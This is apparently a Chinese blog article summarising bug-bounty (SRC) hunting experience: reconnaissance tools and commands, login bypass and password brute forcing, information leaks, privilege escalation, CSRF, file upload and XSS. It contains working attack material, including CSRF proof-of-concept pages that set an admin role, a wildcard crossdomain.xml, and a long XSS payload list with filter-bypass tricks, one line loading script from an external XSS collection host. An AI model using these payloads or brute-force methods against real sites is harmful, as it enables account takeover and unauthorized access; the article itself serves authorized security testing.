SRC 漏洞挖掘实战指南与经验总结
本文分享了 SRC 漏洞挖掘的半年经验,涵盖信息收集、漏洞挖掘技巧及高危漏洞思考。内容包括企业相关信息的收集方法,如企查查、天眼查等工具的使用;子域名和网站信息的收集,涉及 OneForAll、Xray、Goby 等工具;中低危漏洞挖掘技巧,如登录框绕过、弱口令爆破、信息泄露检测;以及 OWASP Top 10 中的 CSRF、文件上传、XSS 漏洞的挖掘与绕过方法。最后总结了自动化信息收集、漏洞组合拳、WAF 绕过能力及心态的重要性。

本文分享了 SRC 漏洞挖掘的半年经验,涵盖信息收集、漏洞挖掘技巧及高危漏洞思考。内容包括企业相关信息的收集方法,如企查查、天眼查等工具的使用;子域名和网站信息的收集,涉及 OneForAll、Xray、Goby 等工具;中低危漏洞挖掘技巧,如登录框绕过、弱口令爆破、信息泄露检测;以及 OWASP Top 10 中的 CSRF、文件上传、XSS 漏洞的挖掘与绕过方法。最后总结了自动化信息收集、漏洞组合拳、WAF 绕过能力及心态的重要性。

本文基于半年的 SRC 挖掘经验,系统梳理信息收集、漏洞挖掘技巧及高危漏洞应对策略。
渗透测试的本质是信息收集。对于没有 0day 的选手来说,挖 SRC 更像是对企业资产的梳理。需要花长时间收集与企业相关的信息,包括企业的分公司、全资子公司、网站域名、手机 App、微信小程序、企业专利品牌信息、企业邮箱、电话等。在万人挖的 SRC 中,收集到别人未发现的资产往往离挖到漏洞就不远了。
主要查询的信息:
PS: 一般来说 100% 的全资子公司 SRC 漏洞是一定会收的,其他子公司资产可能需要与 SRC 审核沟通。
信息整理
收集后大致能得到以下有用信息:
之后需对信息进行归纳整理,区分主资产、边缘资产及冷门资产,重点关注冷门资产进行深入挖掘。
子域名方面,OneForAll 和 Xray 功能已足够强大。对于主域名,若需充分收集子域名,最好用特大号字典进行最少三层的子域名爆破。Layer 子域名挖掘机也是不错的选择。
GitHub 上常有热心师傅分享跑出的子域名,可先查找现成资源。
命令示例:
python oneforall.py --targets ./domain.txt run
python oneforall.py --targets ./domain.txt --brute true run
实际操作发现挂外网代理和不挂代理跑出的子域名有时差异较大,建议都跑一遍然后去重。
子域名探测需要高级版。可以自行编写代码批量探测,或使用项目中的代码。
命令调整后可批量探测子域名,一般 5 到 10 分钟一个子域。
之前常用 masscan+nmap 方式,Goby 可视化工具用起来更舒服,短时间可对常见端口进行扫描,还能对网站进行指纹识别。
实际端口扫描过程中,由于 CDN 或防火墙原因,没必要一上来就全端口扫描。经验表明,当扫描到 22 端口开放时,说明该 IP 没有 CDN 保护,对此类 IP 提取出来重点进行全端口扫描,有收获的可能性较大。
猪猪侠师傅写的工具,速度很快,简单的目录扫描,主要是可以探测 C 段下面的很多资产,扩充攻击面。
项目地址:
功能:
Report 下看报告,误报肯定会很多,但 C 段下很可能会有意想不到的资产。
主要是爬取网站的敏感 JS 文件,JS 中能收集到的信息:
常用工具:
刚开始挖 SRC 往往不知道从哪下手,首先可以从各 SRC 平台提交漏洞下拉框里看一看收取的漏洞类型,然后针对性学习如何挖掘。
常见的漏洞类型包括:框架注入、明文密码传输、表单破解漏洞、IIS 短文件名泄露、老旧过期的 HTTPS 服务、跨目录下载漏洞、目录可浏览漏洞、LFI 本地文件包含漏洞、RFI 远程文件包含漏洞、HTTP 拒绝服务攻击、弱口令登录、CSRF 跨站点请求伪造、Flash 点击劫持、SQL 注入漏洞、XSS 跨站脚本漏洞、文件上传漏洞、解析漏洞、Cookies 注入漏洞、越权访问漏洞、命令执行漏洞、Struts2 远程代码执行漏洞、业务逻辑漏洞、用户隐私泄露、敏感信息泄漏、未验证的重定向和传递、JSONP 劫持等。
学习完基础的漏洞类型后,可多看一些实战的漏洞报告,如乌云漏洞库和 HackOne 上的报告。
这里列举一些经常遇到的漏洞类型。
通过对目标的前期信息收集之后,首当其冲的往往是各种奇奇怪怪的登录框。大型的企业为了减少安全问题,一般是用统一的登录接口登录不同的旗下网站,但是一些后台系统、运维系统或者一些边缘业务使用了独立的注册、登录体系,这个时候往往就会存在安全问题。
最常见的一种漏洞,尤其是一些老旧的后台系统,可能验证码抓个包就绕过去了。下面是一些常见的绕过姿势:
一般来说如果只是简单的验证码绕过,一般都是低危,所以一般能够绕过验证码的情况,都要尝试爆破一波账号密码。
没有验证码或者验证码可以绕过的情况 直接上一手字典爆破,当然还是有一些小技巧:
爆破的关键在于字典,常见的字典 GitHub 上都有,但是普通的弱口令现在确实不太好用了,要想提高成功的机率,还是需要碰一碰强密码。
有验证码且无法绕过的情况
这个也挺常见的,一般可以对特定用户进行轰炸的是一定会收的,横向轰炸能够消耗资源的随缘收。常见的绕过姿势:
因为这方面漏洞一旦出现基本都是高危,所以挖掘的时候类似的思路可以参考 FreeBuf 上的任意用户密码重置系列文章。
敏感信息泄露的范围很广,一般就是两大类:
GitHub 子域名监控项目:https://github.com/FeeiCN/GSIL
常见的泄露内容:
包含的类型很多,最重要的是有一份足够强大的字典和一个好用的扫描器。
我在实际进行探测的时候,对于大批量的域名来说,更喜欢先用一份精简的小字典先进行快速扫描,比如备份文件的小字典、SpringBoot 泄露的小字典、网站后台的小字典。
比较出名的扫描器我们常见的 Dirsearch、Dirmap、Dirbuster 等等。可视化的比如 Test404 系列、御剑扫描器使用体验也不错。
注:信息泄露中比较常见的 Swagger-UI 服务泄露,可能直接提交会忽略或者低危,别忘了进一步测试泄露的接口功能。
很多时候越权来来去去都是更改一个参数的问题,更多的时候还是要细心的一个一个测业务功能,注意观察和测试操作参数和对象参数。操作参数一般是增删改查对应特定业务的敏感操作,对象参数一般是用户或者物品等。
推荐几个 Burp 插件:
插件的作用基本还是帮助我们快速定位敏感参数,实际测试还是需要我们一个包一个包仔细的分析程序逻辑。
常见的一些越权情况:
CSRF 漏洞在挖掘中最重要的是说明危害,比较容易扯皮,一般来说涉及用户资料、财产、权限的 CSRF 漏洞大概率会收,一般来说最高就是中危。
常见的漏洞点
(1) GET 型 GET 类型的 CSRF 利用非常简单,只需要一个 HTTP 请求,所以,一般会这样利用:
<img src=xxx/csrf?xx=11 />
(2) POST 型 POST 请求中没有 token 参数,然后请求也没有验证 referer 信息。这种是存在 CSRF 情况最多的一种。这种漏洞的检测方法也很简单,网页操作某功能,抓包后,如果发现没有 token 等参数,然后就将 referer 信息设置为空,再次发包请求,如果请求成功了,就说明这里有 CSRF 漏洞。
POC(可以用 Burp 自己生成的):
<html>
<body>
<form>
<input type="text">
</form>
<script>document.px.submit();</script>
</body>
</html>
POST 请求数据为 JSON,当服务器没有严格校验 Content-Type 类型时,POC 为:
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.xxxx.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
Flash CSRF 通常是由于 Crossdomain.xml 文件配置不当造成的,利用方法是使用 swf 来发起跨站请求伪造。
利用条件:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
Bypass 小技巧
这个洞遇到的也比较多,一般来说是后端没有限制上传文件的类型。但是上传的脚本文件也不会解析,也就没有办法 GetShell。(很多 SRC 对于上传到 CDN 云服务器的任意文件上传是忽略的)。
文件上传的常见的绕过姿势应该也挺熟悉的,实际测试的时候发现在进行申请企业、个人认证的时候,上传文件处常常有这个问题。
老熟人了,不多说了,常见的姿势大家应该都知道。
Broken5 师傅的 xsspayload:
<script>alert(1)</script><script src=https://xsspt.com/VBAhTu></script><a href=javascript:alert(1)>xss</a><svg onload=alert(1)><img src=1 onerror=alert(1)><img src=https://www.baidu.com/img/bd_logo1.png onload=alert(1)><details open ontoggle=alert(1)><body onload=alert(1)><M onmouseover=alert(1)>M<iframe src=javascript:alert(1)></iframe><iframe onload=alert(1)><input type="submit" onfocus=alert(1)><input type="submit" onclick=alert(1)><form><input type="submit" formaction=javascript:alert(1)>
<!-- 空格被过滤 --><img/src="1"/onerror=alert(1)><!-- 双写绕过 --><iimgmg src=1 oonerrornerror=aimglert(1)><!-- 大小写绕过 --><iMg src=1 oNerRor=alert(1)><!-- 利用 eval() --><img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);"><img src=1 onerror=eval(atob('YWxlcnQoMSk='))><!-- 利用 location --><img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'><img src=1 onerror=location='javascript:\x61\x6C%65%72%74%28\x31%29'><img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29"><!-- 括号被过滤 --><img src=1 onerror="window.onerror=eval;throw'=alert\x281\x29';"><!-- onerror=被过滤 --><img src=1 onerror =alert(1)><img src=1 onerror=alert(1)><!-- 属性被转换为大写 --><img src=1 onerror=alert(1)><!-- 编码后被检测 --><img src=1 onerror=alert(1)>
这段时间看了很多牛叉的漏洞报告,想聊一聊我的思考。
这里说的信息收集更多的是如何利用已有的工具进行快速自动化的收集和整理,既要做到速度快,还要做到全面收集不遗漏信息,很多时候这个过程本身就是在发现漏洞。
这些工作应该在我们前期信息收集的阶段就应该全面的完成,所以如何快速化的进行全面的信息收集是我们需要思考和不断实践的。
SRC 对于漏洞评级主要是看你漏洞可以造成的危害,所以当挖到一些低危漏洞时,可以先不急着提交,找一找有没有其他可以利用的点打漏洞组合拳。
这个能力挺欠缺的。挖洞的过程基本遇到 WAF 就溜了,尤其是一些大厂的 WAF,绕其他 WAF 就是直接嫖一些其他的师傅的思路。
心细挖天下,再加上一些运气,可能高危严重就到手了。
挖 SRC 需要有一个好心态,国内 SRC 生态并不是很好,SRC 感觉更多的提供了一个相对安全的测试保障,所以更需要抱着一种学习的心态去挖,将我们学习的到的知识灵活运用,发现新的问题。不要想我今晚一定要挖到多少漏洞,要拿到多少奖金,不然可能会被忽略三连打崩心态。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online
Terser 压缩、变量名混淆,或 javascript-obfuscator 高强度混淆(体积会增大)。 在线工具,JavaScript 压缩与混淆在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online